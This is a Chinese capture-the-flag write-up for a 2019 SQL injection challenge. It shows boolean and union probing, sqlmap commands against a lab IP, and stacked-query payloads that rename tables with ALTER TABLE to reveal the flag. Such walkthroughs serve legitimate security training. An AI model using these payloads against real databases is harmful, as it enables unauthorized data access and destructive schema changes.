题目描述

来源强网杯 2019

Solution

判断注入类型

输入输出表如下:

输入 输出
1 and 1=1 输出正常
1 and 1=2 输出正常
1' and '1'='1 输出正常
1' and '1'='2 没有输出

由此观之,该题目是字符型注入。

判断列数

输入:1' or 1=1 order by 3 #,查询失败!

007-1.png

输入:1' or 1=1 order by 2 #,查询成功!

007-2.png

由此观之列数为 2。

联合查询

  1. 1' union select version(), database() #

我们发现后端服务器有正则匹配,把关于select|update|delete|drop|insert|where不区分大小写给过滤了。

007-3.png

我们改用 SQLMap 自动化注入。

使用 SQLMap 注入

sqlmap -u "http://111.200.241.244:56899/?inject=1" --batch --threads 4

007-4.png

SQLMap 发现一个注入点,是布尔盲注

获取数据库信息

sqlmap -u "http://111.200.241.244:56899/?inject=1" --batch --threads 4 --dbs

007-5.png

有一个数据库,名字叫supersqli

查看数据库中的表

sqlmap -u "http://111.200.241.244:56899/?inject=1" --batch --threads 4 -D supersqli --tables

SQLMap 没有找到表:

007-6.png

使用堆叠注入

堆叠查询(Stacked Queries)是指,在 SQL 中,分号表示一条语句的结束。如果在分号的后面再加一条语句,这条语句也可以被执行,继续加一个分号和一条语句,这样就可以在一次数据库的调用中执行多个语句。

我们输入:

1'; show tables; #

007-7.png

查看表中的字段

1'; desc `1919810931114514`; #
1'; desc `words`; #

发现1919810931114514表中有 Flag:

007-8.png

拿 Flag

如果是正常的查询,那应该是在words表下,使用类似下面的语句:

select * from words whrere id = '';

而现在 Flag 在1919810931114514表,一个可行的方案是修改表名,这样我们回到原来的查询就能直接出 Flag。

alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);

把它们用分号连起来:

1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);

然后使用1' or 1=1 #直接出 Flag:

007-9.png

参考资料